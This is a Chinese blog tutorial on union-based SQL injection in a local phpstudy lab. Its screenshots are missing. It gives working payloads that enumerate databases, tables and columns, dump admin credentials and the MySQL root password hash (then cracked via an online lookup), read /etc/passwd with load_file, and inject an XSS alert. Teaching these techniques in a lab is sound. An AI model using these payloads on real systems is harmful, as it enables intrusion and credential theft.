简单的SQL注入

一、SQL注入原理

1.做sql注入的时候首先改一下环境,如果出现错误的话,先看看是不是因为php版本过高的原因,将版本改为5点几的,到phpstudy中找环境,改版本

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 修改完毕,再去网站中执行http://127.0.0.1/sql/  这里的sql是电脑上的一个文件,这个文件就是搭建环境的关键

 

 

 二、SQL注入演示

1.判断是否存在注入点

 

 

 2.union

①:union的作用:

   ——union后面可以继续接select语句

   ——union可以跨表查询

   ——union后面查到的结果的列数要和前面的语句一样

   ——如果union前面的条件执行结果为false,则只显示union后面的结果

 

 

 3.获取列数

当什么都不知道的时候,如何获取表中都有哪些字段(关键字:order by)

order by 属于排序,但是知道列名才能排序,这里我们就要去试试了

order by 1

order by 2

order by 3

 

 

 

 

 

 那么到浏览器中怎么去实验呢,如下:

 

 

 

 

 

4.获取列在网页上的位置(定位)

  知道列数,但是并不知道准确位置,如下如,没有1,也就是id这一列没有,

5.获取数据库

select database()获取我当前所在的是哪个数据库

union select 1,2,3

union select  1,database(),3 ,也就是在2的位置显示查询的结果,带入网页,还是将union左边的改为false,也就是id=-1(union select  1,database(),3 )

 

 user

6.获取数据库是以什么用户登录的 union select  1,user() ,3 

 

 7.获取端口号

union select @@port

 

 

 

8.union select 1,@@datadir,3(数据目录信息)

9.获取版本号(找到版本号就有可能直接破解)

union  select 1,@@version,3(找到版本号,就可以去网上找针对这个版本的数据库的漏洞)

 

 

 10.获取表(知道了在哪个库里面,此时就去获取它具体的表)

这里就要用到最重要的一张表(indormation_schema)

UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'security';

 

 

11.获取表中的字段

union SELECT 1,GROUP_CONCAT(column_name),3 FROM `information_schema`.`COLUMNS`

WHERE table_name= 'users';

 

 12.获取字段的值

union SELECT 1, username,PASSWORD 

FROM security.users WHERE username LIKE 'admin%';

下图就是获取到admin的账户和密码

 

 

13.获取mysql密码

UNION SELECT 1,CONCAT_WS(0x3A, user, password),3 FROM mysql.user WHERE user = 'root'(这个在自己的电脑上显示password有问题)

UNION SELECT 1,CONCAT_WS(0x3A, user, authentication_string),3 FROM mysql.user WHERE user = 'root'

 

 

 

 然后将获得的root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9复制,进http://www.cmd5.com

 

 

 

14.获取任意文件内容

UNION SELECT 1,load_file('/etc/passwd'),3

UNION SELECT 1,load_file('/tmp/passwd.txt'),3

 

15.xss弹窗

 

UNION SELECT 1,<script>alert("XSS via SQL injection");</script>,3

 

posted @ 2020-12-08 19:44  兰博~~  阅读(358)  评论(0编辑  收藏  举报